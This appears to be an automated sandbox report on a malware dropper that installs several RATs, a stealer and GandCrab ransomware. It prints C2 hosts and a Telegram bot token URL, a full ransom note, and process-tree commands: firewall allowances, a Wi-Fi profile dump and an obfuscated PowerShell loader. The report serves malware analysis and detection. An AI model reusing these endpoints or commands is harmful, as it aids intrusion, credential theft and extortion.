Overview

overview

10

Static

static

3

ab6b0c8a2f...33.exe

windows7-x64

10

ab6b0c8a2f...33.exe

windows10-2004-x64

Analysis

  • max time kernel
    28s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    09-09-2024 08:49

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    ab6b0c8a2fd898517ff036b9fc94ce581febdab5a69433f491fb70bc55ee1833.exe

  • Size

    24.5MB

  • MD5

    a5ca2d3b20cf191139a47d7261916d9e

  • SHA1

    5d56e08cc55731f96db03911dba96dcdf22bcac8

  • SHA256

    ab6b0c8a2fd898517ff036b9fc94ce581febdab5a69433f491fb70bc55ee1833

  • SHA512

    e008b76d8040ef039424e6f7eec37b866fc7ab71d1cb11d839b4d4449758b3b8174249c353d1726ed736cb9c854cafda7648aee7a12c93d8a8e0cd0013a0c3ad

  • SSDEEP

    49152:qnUSstktA/zuJuuS6FDlUhBKds9he3qUtM9l58uRgG+vTD7o9qa910rUo29xqcUt:ql

Score
10/10
asyncratdcratgandcrabnjratremcosstormkittyaugust crypter toolz grace stubdefaultpukedvictimчучундраbackdoorcredential_accessdefense_evasiondiscoveryevasionexecutionimpactinfostealerpersistenceransomwareratspywarestealertrojanupxvmprotect

Malware Config

Extracted

Family

njrat

Version

<- NjRAT 0.7d Horror Edition ->

Botnet

Victim

C2

great-it.gl.at.ply.gg:11149

Mutex

4d5861675348411506f0e029827092c2

Attributes
  • reg_key

    4d5861675348411506f0e029827092c2

  • splitter

    Y262SUCZ4UJJ

Extracted

Family

njrat

Version

im523

Botnet

puked

C2

147.185.221.20:47570

Mutex

20006afb0ec33f2e48c8c1f17d4d3382

Attributes
  • reg_key

    20006afb0ec33f2e48c8c1f17d4d3382

  • splitter

    |'|'|

Extracted

Family

njrat

Version

0.7d

Botnet

чучундра

C2

hakim32.ddns.net:2000

safety-bronze.gl.at.ply.gg:4444
Mutex

27b92504703b09d3ee2dae0873e8e3f3

Attributes
  • reg_key

    27b92504703b09d3ee2dae0873e8e3f3

  • splitter

    |'|'|

Extracted

Family

asyncrat

Botnet

Default

C2

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

https://api.telegram.org/bot7293375371:AAFwIvNWcuknS3y3mtsx4yNSSTkj8NCF_ko/sendMessage?chat_id=5795480469
Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Extracted

Family

remcos

Botnet

AUGUST CRYPTER TOOLZ GRACE STUB

C2

teamfavour222.ddns.net :6767

odogwuvisual123.duckdns.org:6767
Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    -YFLE4M

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Extracted

Path

C:\$Recycle.Bin\AXPZE-DECRYPT.txt

Ransom Note
---= GANDCRAB V5.0.3 =--- ***********************UNDER NO CIRCUMSTANCES DO NOT DELETE THIS FILE, UNTIL ALL YOUR DATA IS RECOVERED*********************** *****FAILING TO DO SO, WILL RESULT IN YOUR SYSTEM CORRUPTION, IF THERE WILL BE DECRYPTION ERRORS***** Attention! All your files, documents, photos, databases and other important files are encrypted and have the extension: .AXPZE The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files. The server with your key is in a closed network TOR. You can get there by the following ways: ---------------------------------------------------------------------------------------- | 0. Download Tor browser - https://www.torproject.org/ | 1. Install Tor browser | 2. Open Tor Browser | 3. Open link in TOR browser: http://gandcrabmfe6mnef.onion/86804269ddcc129 | 4. Follow the instructions on this page ---------------------------------------------------------------------------------------- On our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. ATTENTION! IN ORDER TO PREVENT DATA DAMAGE: * DO NOT MODIFY ENCRYPTED FILES * DO NOT CHANGE DATA BELOW ---BEGIN GANDCRAB KEY--- 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 ---END GANDCRAB KEY--- ---BEGIN PC DATA--- wfKD6iudumBkmpL8IRr4U4exEVaoOXLtwDwmOrT1y1YWvOiWMx5GYaRdvZZSTptRpHYG7mhWsbfTTHeHhh5qBJzzs9MC7736UkGSDDniUJJG8/LFF//kmGmoAZAGLo2j5/wd2UrxMJK+iqKhTkS3ArgAxrZOOOiXrbnhbWMkLHQnbYuWlMClYZxYU6SDxpopRo5r292AV1KIZBZV4APBuUHcKSIr2MWMI0O1MKIP2IpKLE2TS5wLmpQodXZhP6M/UPrO1sZzkDbgjYlAG3g8l65nVd0/CBUxKQ7KDJYrtX0vSmnFXg/ykfgtJNiwqfCnqbr85+Bi67F0kUDB4OKg/2Q2F+svGo9YOFrQBnTtrBHUEdAbtydK4o24b6bsY7hyY4zV2QKiqZRuTRsqAVO9JIcJoJFowNooAhPLnKY+DO5bAL6fi2Epg65rKw3oxAhKxw72Zi/pABFI3vfLOOav1xoZR3QcRiOKBTm51iTgAH9imUrfmSz2QU5nmbImlsyw6XINVYbpeDfrfB0ceMBkP3JNgn9SQ3nC26ZUErrteEilBYhMaJHjHtkOOb+cRbYP/YkqV67u57PNzND9fnZQh4wzqOwRRaJtAP/XbjrWoOIRXo5eMNQ99BNhaVKZ2udgzWmELVozygtVfjv5QmE= ---END PC DATA---
URLs

http://gandcrabmfe6mnef.onion/86804269ddcc129

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • DcRat 64 IoCs

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

    ratinfostealerdcrat
  • Gandcrab

    Gandcrab is a Trojan horse that encrypts files on a computer.

    ransomwarebackdoorgandcrab
  • Process spawned unexpected child process 64 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

    ratremcos
  • StormKitty

    StormKitty is an open source info stealer written in C#.

    stealerstormkitty
  • StormKitty payload 2 IoCs
  • njRAT/Bladabindi

    Widely used RAT written in .NET.

    trojannjrat
  • Async RAT payload 1 IoCs
    rat
  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

    credential_accessstealer
  • DCRat payload 5 IoCs

    Detects payload of DCRat, commonly dropped by NSIS installers.

    rat
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Detected Nirsoft tools 26 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 9 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 8 IoCs

    Password recovery tool for various web browsers

  • Renames multiple (293) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Drops file in Drivers directory 2 IoCs
  • Modifies Windows Firewall 2 TTPs 5 IoCs
    evasion
  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

    credential_accessstealer
  • Drops startup file 4 IoCs
  • Executes dropped EXE 39 IoCs
  • Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs
    defense_evasion
  • Loads dropped DLL 53 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • UPX packed file 16 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Uses the VBS compiler for execution 1 TTPs
  • VMProtect packed file 1 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops desktop.ini file(s) 5 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Drops autorun.inf file 1 TTPs 5 IoCs

    Malware can abuse Windows Autorun to spread further via attached volumes.

  • Drops file in System32 directory 7 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 18 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 30 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 3 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
    evasionspywaretrojan
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\ab6b0c8a2fd898517ff036b9fc94ce581febdab5a69433f491fb70bc55ee1833.exe
    "C:\Users\Admin\AppData\Local\Temp\ab6b0c8a2fd898517ff036b9fc94ce581febdab5a69433f491fb70bc55ee1833.exe"
    1⤵
    • DcRat
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2844
    • C:\Users\Admin\AppData\Local\Temp\VirusShare_0bd61f046f4d99491fa3588dba294e04.exe
      "C:\Users\Admin\AppData\Local\Temp\VirusShare_0bd61f046f4d99491fa3588dba294e04.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      • Suspicious use of SetWindowsHookEx
      PID:2192
    • C:\Users\Admin\AppData\Local\Temp\クラック.exe
      "C:\Users\Admin\AppData\Local\Temp\クラック.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in Program Files directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:484
      • C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe
        "C:\Program Files (x86)\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:1744
      • C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe
        "C:\Program Files (x86)\5e710462c65fe899466e4fb7c1e33c9a.exe"
        3⤵
        • Executes dropped EXE
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2516
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\IEqdVDvo2L.bat"
          4⤵
            PID:3304
            • C:\Windows\system32\w32tm.exe
              w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
              5⤵
                PID:2612
              • C:\Program Files (x86)\Windows Defender\it-IT\smss.exe
                "C:\Program Files (x86)\Windows Defender\it-IT\smss.exe"
                5⤵
                  PID:2204
            • C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe
              "C:\Program Files (x86)\7f1630df6b57af024a3b561bdadc208f.exe"
              3⤵
              • Executes dropped EXE
              • Drops desktop.ini file(s)
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:1036
              • C:\Windows\SysWOW64\cmd.exe
                "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
                4⤵
                • System Network Configuration Discovery: Wi-Fi Discovery
                PID:2912
                • C:\Windows\SysWOW64\chcp.com
                  chcp 65001
                  5⤵
                    PID:4092
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh wlan show profile
                    5⤵
                    • System Network Configuration Discovery: Wi-Fi Discovery
                    PID:2064
                  • C:\Windows\SysWOW64\findstr.exe
                    findstr All
                    5⤵
                      PID:3828
                • C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe
                  "C:\Program Files (x86)\31cd1e172d0375c8cd5e58929b7d235d389bbfeb5387488083c5b86c943d0b65.exe"
                  3⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  PID:2100
                  • C:\Users\Admin\AppData\Local\Temp\server.exe
                    "C:\Users\Admin\AppData\Local\Temp\server.exe"
                    4⤵
                    • Drops startup file
                    • Executes dropped EXE
                    • Adds Run key to start application
                    • Drops autorun.inf file
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1472
                    • C:\Windows\SysWOW64\netsh.exe
                      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
                      5⤵
                      • Modifies Windows Firewall
                      PID:2216
                    • C:\Windows\SysWOW64\taskkill.exe
                      taskkill /F /IM Exsample.exe
                      5⤵
                      • Kills process with taskkill
                      PID:1972
                • C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe
                  "C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe"
                  3⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: GetForegroundWindowSpam
                  PID:340
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh firewall add allowedprogram "C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe" "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe" ENABLE
                    4⤵
                    • Modifies Windows Firewall
                    PID:2800
                • C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe
                  "C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe"
                  3⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3036
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\g4b0jy55\g4b0jy55.cmdline"
                    4⤵
                      PID:3340
                  • C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe
                    "C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe"
                    3⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    PID:1892
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
                      "Powershell.exe" -windowstyle minimized "$Teratism249 = Get-Content 'C:\Users\Admin\AppData\Local\Temp\celleslim\farve\pitiableness\Guldtand.Spi168' ; $Neglefilen=$Teratism249.SubString(69482,3);.$Neglefilen($Teratism249) "
                      4⤵
                      • Command and Scripting Interpreter: PowerShell
                      PID:4000
                  • C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe
                    "C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe"
                    3⤵
                    • Executes dropped EXE
                    • Drops file in Windows directory
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2508
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\rgmCjlqQ0K.bat"
                      4⤵
                        PID:3148
                        • C:\Windows\system32\w32tm.exe
                          w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                          5⤵
                            PID:1912
                          • C:\Program Files (x86)\Microsoft Sync Framework\v1.0\Documentation\smss.exe
                            "C:\Program Files (x86)\Microsoft Sync Framework\v1.0\Documentation\smss.exe"
                            5⤵
                              PID:2852
                        • C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe
                          "C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe"
                          3⤵
                          • Executes dropped EXE
                          • System Location Discovery: System Language Discovery
                          PID:2720
                        • C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
                          "C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe"
                          3⤵
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          • System Location Discovery: System Language Discovery
                          • Modifies system certificate store
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2664
                          • C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
                            "C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe"
                            4⤵
                            • Executes dropped EXE
                            • Adds Run key to start application
                            • Drops file in Program Files directory
                            • Checks processor information in registry
                            PID:1224
                        • C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe
                          "C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe"
                          3⤵
                          • Drops file in Drivers directory
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Drops file in System32 directory
                          • Drops file in Windows directory
                          • System Location Discovery: System Language Discovery
                          • Modifies registry class
                          • Suspicious use of WriteProcessMemory
                          PID:3056
                          • C:\Windows\winhlp32.exe
                            winhlp32.exe -x
                            4⤵
                            • System Location Discovery: System Language Discovery
                            PID:2764
                          • C:\Windows\winhlp32.exe
                            winhlp32.exe -x
                            4⤵
                            • System Location Discovery: System Language Discovery
                            PID:2072
                          • C:\Users\Admin\AppData\Local\Temp\fwclt.exe
                            C:\Users\Admin\AppData\Local\Temp\fwclt.exe C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe
                            4⤵
                            • Executes dropped EXE
                            PID:3184
                        • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
                          "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe"
                          3⤵
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: MapViewOfSection
                          PID:1364
                          • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
                            "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\zutljgaqyhvkp"
                            4⤵
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            PID:3960
                          • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
                            "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\bwzejrlkmpnpreclt"
                            4⤵
                            • Executes dropped EXE
                            • System Location Discovery: System Language Discovery
                            PID:3980
                          • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
                            "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\mqmokjvlaxftclypdcqi"
                            4⤵
                            • Executes dropped EXE
                            PID:1660
                          • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
                            "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\rzfyhitqcbca"
                            4⤵
                              PID:3280
                            • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
                              "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\tbtribdsqkueagf"
                              4⤵
                                PID:3832
                              • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
                                "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\dwycjlwmmsmjdmbhom"
                                4⤵
                                  PID:3416
                                • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
                                  "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\vbkxhvpupmszmnehz"
                                  4⤵
                                    PID:3272
                                  • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
                                    "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\fdxhaozolvkeoualiplh"
                                    4⤵
                                      PID:3052
                                    • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
                                      "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ixcabykpzdcryiopzagjojx"
                                      4⤵
                                        PID:2096
                                      • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
                                        "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\zdonzilpcyjhzjrpklgyco"
                                        4⤵
                                          PID:648
                                        • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
                                          "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\kfcgabvjygbmkpnttvasfbfvb"
                                          4⤵
                                            PID:3376
                                          • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
                                            "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\uzhyblglmotrmwbxkgntqgaekjxj"
                                            4⤵
                                              PID:4072
                                            • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
                                              "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ohywagrnlrrtxlabfbiciyimwcdxml"
                                              4⤵
                                                PID:3764
                                              • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
                                                "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\zblobycgzzjyhrofwmuetdcdxjvgfwkok"
                                                4⤵
                                                  PID:3732
